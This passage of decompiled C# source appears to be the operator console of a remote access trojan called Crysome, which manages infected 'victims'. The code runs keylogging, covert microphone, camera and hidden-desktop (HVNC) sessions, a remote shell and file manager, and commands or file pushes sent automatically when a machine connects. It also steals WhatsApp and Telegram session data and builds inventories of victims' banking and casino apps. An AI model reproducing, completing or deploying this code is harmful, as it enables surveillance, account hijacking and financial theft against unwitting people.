		if (_keyloggerCallbacks.TryGetValue(sender, out var cb))
		{
			KeylogDataPacket p = (KeylogDataPacket)packet;
			((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
			{
				cb(p.Data ?? "");
			}, Array.Empty<object>());
		}
	}

	public void RegisterOfflineKeylogCallback(CrysomeClient client, Action<string, bool> cb)
	{
		_offlineKeylogCallbacks[client] = cb;
	}

	public void UnregisterOfflineKeylogCallback(CrysomeClient client)
	{
		_offlineKeylogCallbacks.TryRemove(client, out var _);
	}

	private void HandleOfflineKeylogData(CrysomeClient sender, IPacket packet)
	{
		//IL_000f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0019: Expected O, but got Unknown
		OfflineKeylogDataPacket p = (OfflineKeylogDataPacket)packet;
		ClientInfo info = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
		if (_offlineKeylogCallbacks.TryGetValue(sender, out var cb))
		{
			((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
			{
				cb(p.Data ?? "", arg2: true);
			}, Array.Empty<object>());
		}
		else
		{
			if (info == null)
			{
				return;
			}
			Application current = Application.Current;
			if (current != null)
			{
				((DispatcherObject)current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
				{
					info.AppendOfflineKeylog(p.Data ?? "");
				}, Array.Empty<object>());
			}
		}
	}

	private void HandleChatMessage(CrysomeClient sender, IPacket packet)
	{
		//IL_0029: Unknown result type (might be due to invalid IL or missing references)
		//IL_0033: Expected O, but got Unknown
		if (_chatHandlers.TryGetValue(sender, out var cb))
		{
			ChatMessagePacket p = (ChatMessagePacket)packet;
			ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
			string from = ((clientInfo != null) ? clientInfo.Address : "?");
			((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
			{
				cb(from, p.Message ?? "");
			}, Array.Empty<object>());
		}
	}

	private void HandleCameraDevicesResponse(CrysomeClient sender, IPacket packet)
	{
		//IL_0093: Unknown result type (might be due to invalid IL or missing references)
		//IL_0099: Expected O, but got Unknown
		string text = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? "?";
		Log("CameraDevicesResponse RECV from " + text, "CAM");
		if (!_cameraDevicesCallbacks.TryGetValue(sender, out var cb))
		{
			Log("CameraDevicesResponse no callback for " + text, "CAM");
			return;
		}
		_cameraDevicesCallbacks.Remove(sender);
		CameraDevicesResponsePacket val = (CameraDevicesResponsePacket)packet;
		string[] names = val.DeviceNames ?? new string[0];
		Log("CameraDevicesResponse " + names.Length + " devices from " + text, "CAM");
		((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
		{
			cb(names);
		}, Array.Empty<object>());
	}

	private void HandleAudioDevicesResponse(CrysomeClient sender, IPacket packet)
	{
		//IL_0093: Unknown result type (might be due to invalid IL or missing references)
		//IL_0099: Expected O, but got Unknown
		string text = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? "?";
		Log("AudioDevicesResponse RECV from " + text, "MIC");
		if (!_audioDevicesCallbacks.TryGetValue(sender, out var cb))
		{
			Log("AudioDevicesResponse no callback for " + text, "MIC");
			return;
		}
		_audioDevicesCallbacks.Remove(sender);
		AudioDevicesResponsePacket val = (AudioDevicesResponsePacket)packet;
		string[] names = val.DeviceNames ?? new string[0];
		Log("AudioDevicesResponse " + names.Length + " devices from " + text, "MIC");
		((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
		{
			cb(names);
		}, Array.Empty<object>());
	}

	private void HandleAudioStreamChunk(CrysomeClient sender, IPacket packet)
	{
		//IL_001d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0027: Expected O, but got Unknown
		if (_audioStreamHandlers.TryGetValue(sender, out var cb))
		{
			AudioStreamChunkPacket p = (AudioStreamChunkPacket)packet;
			((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
			{
				cb(p.Chunk ?? new byte[0]);
			}, Array.Empty<object>());
		}
	}

	private void HandleDesktopFrame(CrysomeClient sender, IPacket packet)
	{
		//IL_001d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0027: Expected O, but got Unknown
		if (!_desktopFrameHandlers.TryGetValue(sender, out var cb))
		{
			return;
		}
		DesktopFramePacket p = (DesktopFramePacket)packet;
		if (_rdpQualityStates.TryGetValue(sender, out var value))
		{
			DateTime utcNow = DateTime.UtcNow;
			if (value.LastFrameTime != DateTime.MinValue)
			{
				double totalMilliseconds = (utcNow - value.LastFrameTime).TotalMilliseconds;
				double num = (double)value.IntervalMs * 4.0;
				if (totalMilliseconds > num)
				{
					value.BadStreak++;
					value.GoodStreak = 0;
					if (value.BadStreak >= 5)
					{
						RdpStepDown(sender, value);
						value.BadStreak = 0;
					}
				}
				else
				{
					value.GoodStreak++;
					value.BadStreak = 0;
					if (value.GoodStreak >= 8)
					{
						RdpStepUp(sender, value);
						value.GoodStreak = 0;
					}
				}
			}
			value.LastFrameTime = utcNow;
		}
		((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
		{
			cb(p.ImageData ?? new byte[0]);
		}, Array.Empty<object>());
	}

	private void Server_UdpFrameReceived(object s, UdpFrameEventArgs e)
	{
		//IL_0017: Unknown result type (might be due to invalid IL or missing references)
		//IL_0021: Expected O, but got Unknown
		//IL_0039: Unknown result type (might be due to invalid IL or missing references)
		//IL_0043: Expected O, but got Unknown
		if (e.PacketTypeId == 36)
		{
			HandleDesktopFrame(e.Client, (IPacket)new DesktopFramePacket(e.Data));
		}
		else if (e.PacketTypeId == 46)
		{
			HandleHvncFrame(e.Client, (IPacket)new HvncFramePacket(e.Data));
		}
	}

	private void RdpStepDown(CrysomeClient client, RdpQualityState state)
	{
		if (state.Level > 0)
		{
			state.Level--;
			state.CurrentQuality = _rdpLevels[state.Level].Quality;
			state.IntervalMs = _rdpLevels[state.Level].IntervalMs;
			SendRdpLevel(client, state.CurrentQuality, state.IntervalMs);
		}
	}

	private void RdpStepUp(CrysomeClient client, RdpQualityState state)
	{
		if (state.Level < _rdpLevels.Length - 1)
		{
			state.Level++;
			state.CurrentQuality = _rdpLevels[state.Level].Quality;
			state.IntervalMs = _rdpLevels[state.Level].IntervalMs;
			SendRdpLevel(client, state.CurrentQuality, state.IntervalMs);
		}
	}

	private void SendRdpLevel(CrysomeClient client, int quality, int intervalMs)
	{
		//IL_0015: Unknown result type (might be due to invalid IL or missing references)
		//IL_001f: Expected O, but got Unknown
		try
		{
			client.SendPacket((IPacket)new RdpSetQualityPacket(quality, intervalMs));
		}
		catch
		{
		}
		if (!_rdpQualityCallbacks.TryGetValue(client, out var cb))
		{
			return;
		}
		Application current = Application.Current;
		if (current == null)
		{
			return;
		}
		Dispatcher dispatcher = ((DispatcherObject)current).Dispatcher;
		if (dispatcher != null)
		{
			dispatcher.BeginInvoke((Delegate)(Action)delegate
			{
				cb(quality);
			}, Array.Empty<object>());
		}
	}

	private void HandleScreensResponse(CrysomeClient sender, IPacket packet)
	{
		//IL_002a: Unknown result type (might be due to invalid IL or missing references)
		//IL_0034: Expected O, but got Unknown
		if (_screensCallbacks.TryGetValue(sender, out var cb))
		{
			_screensCallbacks.Remove(sender);
			ScreensResponsePacket p = (ScreensResponsePacket)packet;
			((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
			{
				cb(p);
			}, Array.Empty<object>());
		}
	}

	private ClientInfo GetSingleClient()
	{
		if (_selectedClients.Count == 1)
		{
			return _selectedClients[0];
		}
		if (SelectedClient != null)
		{
			return SelectedClient;
		}
		return null;
	}

	private void DoProcessManager()
	{
		ClientInfo singleClient = GetSingleClient();
		if (singleClient?.Owner == null)
		{
			EnqueueStatus("Select one client");
			return;
		}
		ProcessManagerWindow processManagerWindow = new ProcessManagerWindow(singleClient, this);
		((Window)(object)processManagerWindow).Owner = Application.Current.MainWindow;
		((Window)(object)processManagerWindow).Show();
	}

	private void DoRemoteShell()
	{
		ClientInfo singleClient = GetSingleClient();
		if (singleClient?.Owner == null)
		{
			EnqueueStatus("Select one client");
			return;
		}
		RemoteShellWindow remoteShellWindow = new RemoteShellWindow(singleClient, this);
		((Window)(object)remoteShellWindow).Owner = Application.Current.MainWindow;
		((Window)(object)remoteShellWindow).Show();
	}

	private void DoRemoteAudio()
	{
		ClientInfo singleClient = GetSingleClient();
		if (singleClient?.Owner == null)
		{
			EnqueueStatus("Select one client");
			return;
		}
		Log("RemoteAudioWindow OPEN for " + singleClient.Address, "MIC");
		RemoteAudioWindow remoteAudioWindow = new RemoteAudioWindow(singleClient, this);
		((Window)(object)remoteAudioWindow).Owner = Application.Current.MainWindow;
		((Window)(object)remoteAudioWindow).Show();
	}

	private void DoRemoteCamera()
	{
		ClientInfo singleClient = GetSingleClient();
		if (singleClient?.Owner == null)
		{
			EnqueueStatus("Select one client");
			return;
		}
		Log("RemoteCameraWindow OPEN for " + singleClient.Address, "CAM");
		RemoteCameraWindow remoteCameraWindow = new RemoteCameraWindow(singleClient, this);
		((Window)(object)remoteCameraWindow).Owner = Application.Current.MainWindow;
		((Window)(object)remoteCameraWindow).Show();
	}

	private void DoRemoteDesktop()
	{
		ClientInfo singleClient = GetSingleClient();
		if (singleClient?.Owner == null)
		{
			EnqueueStatus("Select one client");
			return;
		}
		RemoteDesktopWindow obj = new RemoteDesktopWindow(singleClient, this)
		{
			Owner = Application.Current.MainWindow
		};
		ActiveRdpCount++;
		((Window)(object)obj).Closed += delegate
		{
			if (ActiveRdpCount > 0)
			{
				ActiveRdpCount--;
			}
		};
		((Window)(object)obj).Show();
	}

	private void DoHvnc()
	{
		ClientInfo singleClient = GetSingleClient();
		if (singleClient?.Owner == null)
		{
			EnqueueStatus("Select one client");
			return;
		}
		HvncWindow obj = new HvncWindow(singleClient, this)
		{
			Owner = Application.Current.MainWindow
		};
		ActiveHvncCount++;
		((Window)(object)obj).Closed += delegate
		{
			if (ActiveHvncCount > 0)
			{
				ActiveHvncCount--;
			}
		};
		((Window)(object)obj).Show();
	}

	private void DoKeylogger()
	{
		ClientInfo singleClient = GetSingleClient();
		if (singleClient?.Owner == null)
		{
			EnqueueStatus("Select one client");
			return;
		}
		KeyloggerWindow keyloggerWindow = new KeyloggerWindow(singleClient, this);
		((Window)(object)keyloggerWindow).Owner = Application.Current.MainWindow;
		((Window)(object)keyloggerWindow).Show();
	}

	private void DoRemoteChat()
	{
		ClientInfo singleClient = GetSingleClient();
		if (singleClient?.Owner == null)
		{
			EnqueueStatus("Select one client");
			return;
		}
		RemoteChatWindow remoteChatWindow = new RemoteChatWindow(singleClient, this);
		((Window)(object)remoteChatWindow).Owner = Application.Current.MainWindow;
		((Window)(object)remoteChatWindow).Show();
	}

	private void DoOpenFileManager()
	{
		if (_selectedClients.Count != 1)
		{
			MessageBox.Show("File Manager requires exactly one client to be selected.\n\nPlease select a single victim and try again.", "One client required", MessageBoxButton.OK, MessageBoxImage.Asterisk);
		}
		else
		{
			_mainViewModel.GoToFileExplorer(server, _selectedClients[0]);
		}
	}

	private void RunOnConnectTasks(CrysomeClient client)
	{
		//IL_005c: Unknown result type (might be due to invalid IL or missing references)
		//IL_0066: Expected O, but got Unknown
		//IL_00a0: Unknown result type (might be due to invalid IL or missing references)
		//IL_00aa: Expected O, but got Unknown
		foreach (AutoTask autoTask in store.AutoTasks)
		{
			if (autoTask.Time != "Always" || autoTask.Date != "Always")
			{
				continue;
			}
			try
			{
				if (autoTask.Kind == "OnConnect")
				{
					client.SendPacket((IPacket)new RunCommandRequestPacket(autoTask.Param));
				}
				else if (autoTask.Kind == "OnConnectFile" && File.Exists(autoTask.Param))
				{
					byte[] array = File.ReadAllBytes(autoTask.Param);
					client.SendPacket((IPacket)new FileTransferRequestPacket(Path.GetFileName(autoTask.Param), array));
				}
			}
			catch
			{
			}
		}
	}

	private void LogEntries_Filter(object sender, FilterEventArgs e)
	{
		if (!(e.Item is LogLineEntry logLineEntry))
		{
			e.Accepted = false;
			return;
		}
		if (_logCategoryHide.Count == 0)
		{
			e.Accepted = true;
			return;
		}
		string text = logLineEntry.Category ?? "";
		e.Accepted = string.IsNullOrEmpty(text) || !_logCategoryHide.Contains(text);
	}

	private void DoWhatsAppSession()
	{
		//IL_0053: Unknown result type (might be due to invalid IL or missing references)
		//IL_005d: Expected O, but got Unknown
		ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
		if (clientInfo?.Owner == null)
		{
			EnqueueStatus("Select a client");
			return;
		}
		string address = clientInfo.Address;
		Log("Requesting WhatsApp session from " + address, "WHATSAPP");
		try
		{
			clientInfo.Owner.SendPacket((IPacket)new WhatsAppSessionRequestPacket());
		}
		catch (Exception ex)
		{
			Log("WhatsApp request failed " + address + ": " + ex.Message, "SYS");
		}
	}

	private void HandleWhatsAppSessionResponse(CrysomeClient sender, IPacket packet)
	{
		//IL_0016: Unknown result type (might be due to invalid IL or missing references)
		//IL_0020: Expected O, but got Unknown
		WhatsAppSessionResponsePacket p = (WhatsAppSessionResponsePacket)packet;
		string addr = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? ((object)sender).GetHashCode().ToString("X");
		((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
		{
			if (!p.Success || p.ZipData == null || p.ZipData.Length == 0)
			{
				string text = (string.IsNullOrEmpty(p.ErrorMessage) ? "No session data." : p.ErrorMessage);
				Log("WhatsApp session from " + addr + ": " + text, "WHATSAPP");
				MessageBox.Show("WhatsApp session error:\n" + text, "WhatsApp Session", MessageBoxButton.OK, MessageBoxImage.Exclamation);
			}
			else
			{
				Log($"WhatsApp session from {addr}: {p.ZipData.Length:N0} bytes received", "WHATSAPP");
				string value = string.Concat((addr ?? "client").Where((char c) => !Enumerable.Contains(Path.GetInvalidFileNameChars(), c)));
				SaveFileDialog saveFileDialog = new SaveFileDialog
				{
					Title = "Save WhatsApp Session",
					Filter = "ZIP Archive|*.zip",
					FileName = $"WhatsApp_{value}_{DateTime.Now:yyyyMMdd_HHmmss}.zip"
				};
				if (saveFileDialog.ShowDialog() == true)
				{
					try
					{
						File.WriteAllBytes(saveFileDialog.FileName, p.ZipData);
						Log("WhatsApp session saved: " + saveFileDialog.FileName, "WHATSAPP");
						new WhatsAppSessionWindow(saveFileDialog.FileName, addr, p.ZipData.Length).Show();
					}
					catch (Exception ex)
					{
						MessageBox.Show("Failed to save: " + ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Hand);
					}
				}
			}
		});
	}

	private void DoTelegramSession()
	{
		//IL_0052: Unknown result type (might be due to invalid IL or missing references)
		//IL_005c: Expected O, but got Unknown
		List<ClientInfo> list = SelectedClients.ToList();
		if (!list.Any())
		{
			MessageBox.Show("No client selected.", "Telegram Session");
			return;
		}
		foreach (ClientInfo item in list)
		{
			string text = item?.Address ?? "?";
			try
			{
				item.Owner.SendPacket((IPacket)new TelegramSessionRequestPacket());
				Log("Telegram session requested from " + text, "TELEGRAM");
			}
			catch (Exception ex)
			{
				Log("Telegram request failed " + text + ": " + ex.Message, "SYS");
			}
		}
	}

	private void HandleTelegramSessionResponse(CrysomeClient sender, IPacket packet)
	{
		//IL_0016: Unknown result type (might be due to invalid IL or missing references)
		//IL_0020: Expected O, but got Unknown
		TelegramSessionResponsePacket p = (TelegramSessionResponsePacket)packet;
		string addr = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? ((object)sender).GetHashCode().ToString("X");
		string userName = (string.IsNullOrWhiteSpace(p.UserName) ? addr : p.UserName);
		((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
		{
			if (!string.IsNullOrEmpty(p.Error))
			{
				Log("Telegram session from " + addr + ": " + p.Error, "TELEGRAM");
				MessageBox.Show("Telegram session error:\n" + p.Error, "Telegram Session", MessageBoxButton.OK, MessageBoxImage.Exclamation);
			}
			else
			{
				if (p.ZipBytes != null && p.ZipBytes.Length != 0)
				{
					Log($"Telegram session from {addr} ({userName}): {p.ZipBytes.Length:N0} bytes received", "TELEGRAM");
					try
					{
						string text = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "telegram");
						Directory.CreateDirectory(text);
						string text2 = string.Concat(userName.Where((char c) => !Enumerable.Contains(Path.GetInvalidFileNameChars(), c)));
						if (string.IsNullOrWhiteSpace(text2))
						{
							text2 = addr.Replace(".", "_").Replace(":", "_");
						}
						string path = text2 + "_tdata.zip";
						string text3 = Path.Combine(text, path);
						File.WriteAllBytes(text3, p.ZipBytes);
						Log("Telegram session saved: " + text3, "TELEGRAM");
						MessageBox.Show($"Telegram tdata saved!\n\nFile: {text3}\nSize: {p.ZipBytes.Length:N0} bytes", "Telegram Session", MessageBoxButton.OK, MessageBoxImage.Asterisk);
						return;
					}
					catch (Exception ex)
					{
						Log("Telegram session save error: " + ex.Message, "SYS");
						MessageBox.Show("Failed to save tdata: " + ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Hand);
						return;
					}
				}
				Log("Telegram session from " + addr + ": no data received.", "TELEGRAM");
				MessageBox.Show("No Telegram session data received.", "Telegram Session", MessageBoxButton.OK, MessageBoxImage.Exclamation);
			}
		});
	}

	private void DoExportLog()
	{
		SaveFileDialog saveFileDialog = new SaveFileDialog
		{
			Filter = "Log|*.log",
			FileName = "activity.log"
		};
		if (saveFileDialog.ShowDialog() == true)
		{
			File.WriteAllLines(saveFileDialog.FileName, LogEntries.Select((LogLineEntry x) => x.ToString()));
			Log("Log exported to " + saveFileDialog.FileName, "SYS");
		}
	}

	public void Log(string msg, string category = "")
	{
		if (store.Settings.LogPaused)
		{
			return;
		}
		LogLineEntry entry = new LogLineEntry
		{
			TimeText = DateTime.Now.ToString("HH:mm:ss"),
			Category = (category ?? ""),
			Message = msg
		};
		string text = entry.ToString();
		Application current = Application.Current;
		if (((current != null) ? ((DispatcherObject)current).Dispatcher : null) != null)
		{
			((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
			{
				LogEntries.Add(entry);
				while (LogEntries.Count > 5000)
				{
					LogEntries.RemoveAt(0);
				}
			});
		}
		if (!store.Settings.LogToFile)
		{
			return;
		}
		try
		{
			File.AppendAllText(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "activity.log"), text + Environment.NewLine);
		}
		catch
		{
		}
	}

	private string PromptInput(string title, string prompt, string defaultValue = "")
	{
		Window dlg = new Window
		{
			Title = title,
			Width = 420.0,
			Height = 160.0,
			WindowStartupLocation = WindowStartupLocation.CenterOwner,
			Owner = Application.Current.MainWindow,
			ResizeMode = ResizeMode.NoResize
		};
		StackPanel stackPanel = new StackPanel
		{
			Margin = new Thickness(12.0)
		};
		stackPanel.Children.Add(new TextBlock
		{
			Text = prompt
		});
		TextBox textBox = new TextBox
		{
			Text = defaultValue,
			Margin = new Thickness(0.0, 8.0, 0.0, 8.0)
		};
		stackPanel.Children.Add(textBox);
		Button button = new Button
		{
			Content = "OK",
			Width = 80.0,
			HorizontalAlignment = HorizontalAlignment.Right
		};
		button.Click += delegate
		{
			dlg.DialogResult = true;
			dlg.Close();
		};
		stackPanel.Children.Add(button);
		dlg.Content = stackPanel;
		textBox.Focus();
		if (dlg.ShowDialog() != true)
		{
			return null;
		}
		return textBox.Text;
	}

	private void RouteReadFileResponse(CrysomeClient sender, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0007: Expected O, but got Unknown
		ReadFileResponsePacket val = (ReadFileResponsePacket)packet;
		if (val.TransferId != 0L && _pendingReadFileResponses.TryRemove((sender, val.TransferId), out var value))
		{
			value(val);
		}
	}

	private void RouteWriteFileResponse(CrysomeClient sender, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0007: Expected O, but got Unknown
		WriteFileResponsePacket val = (WriteFileResponsePacket)packet;
		if (val.TransferId != 0L && _pendingWriteFileResponses.TryRemove((sender, val.TransferId), out var value))
		{
			value(val);
		}
	}

	private void RouteGetDirectoryResponse(CrysomeClient sender, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0007: Expected O, but got Unknown
		GetDirectoryResponsePacket val = (GetDirectoryResponsePacket)packet;
		FileExplorerViewModel value2;
		if (val.RequestId != 0L && _pendingGetDirectoryResponses.TryRemove((sender, val.RequestId), out var value))
		{
			value(val);
		}
		else if (_activeFileExplorers.TryGetValue(sender, out value2))
		{
			value2.ApplyGetDirectoryResponse(val);
		}
	}

	private void RouteGetDrivesResponse(CrysomeClient sender, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0007: Expected O, but got Unknown
		GetDrivesResponsePacket val = (GetDrivesResponsePacket)packet;
		FileExplorerViewModel value2;
		if (val.RequestId != 0L && _pendingGetDrivesResponses.TryRemove((sender, val.RequestId), out var value))
		{
			value(val);
		}
		else if (_activeFileExplorers.TryGetValue(sender, out value2))
		{
			value2.ApplyGetDrivesResponse(val);
		}
	}

	private void RouteNotifyStatus(CrysomeClient sender, IPacket packet)
	{
		//IL_000f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0019: Expected O, but got Unknown
		NotifyStatusResponsePacket p = (NotifyStatusResponsePacket)packet;
		if (_activeFileExplorers.TryGetValue(sender, out var value))
		{
			value.ApplyNotifyStatus(p);
			return;
		}
		Application current = Application.Current;
		if (current != null)
		{
			((DispatcherObject)current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
			{
				EnqueueStatus(p.StatusMessage);
			}, Array.Empty<object>());
		}
	}

	private void HandleClientInventoryReport(CrysomeClient sender, IPacket packet)
	{
		//IL_0016: Unknown result type (might be due to invalid IL or missing references)
		//IL_0020: Expected O, but got Unknown
		ClientInventoryReportPacket p = (ClientInventoryReportPacket)packet;
		Application current = Application.Current;
		if (current == null)
		{
			return;
		}
		((DispatcherObject)current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
		{
			ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
			if (clientInfo != null)
			{
				clientInfo.ApplyInventoryJson(p.AppsJson, p.BankJson, p.CasinoJson);
				store.UpsertClient(new StoredClientRecord
				{
					Address = clientInfo.Address,
					Port = clientInfo.Port,
					UserName = (clientInfo.Username ?? ""),
					ComputerName = (clientInfo.ComputerName ?? ""),
					OS = (clientInfo.OS ?? ""),
					CountryCode = (clientInfo.CountryCode ?? ""),
					Group = (clientInfo.Group ?? ""),
					Notes = (clientInfo.Notes ?? ""),
					IsPinned = clientInfo.IsPinned,
					LastSeen = DateTime.Now,
					AppsInventoryJson = (p.AppsJson ?? ""),
					BankInventoryJson = (p.BankJson ?? ""),
					CasinoInventoryJson = (p.CasinoJson ?? "")
				});
				store.SaveClients();
			}
		}, Array.Empty<object>());
	}
}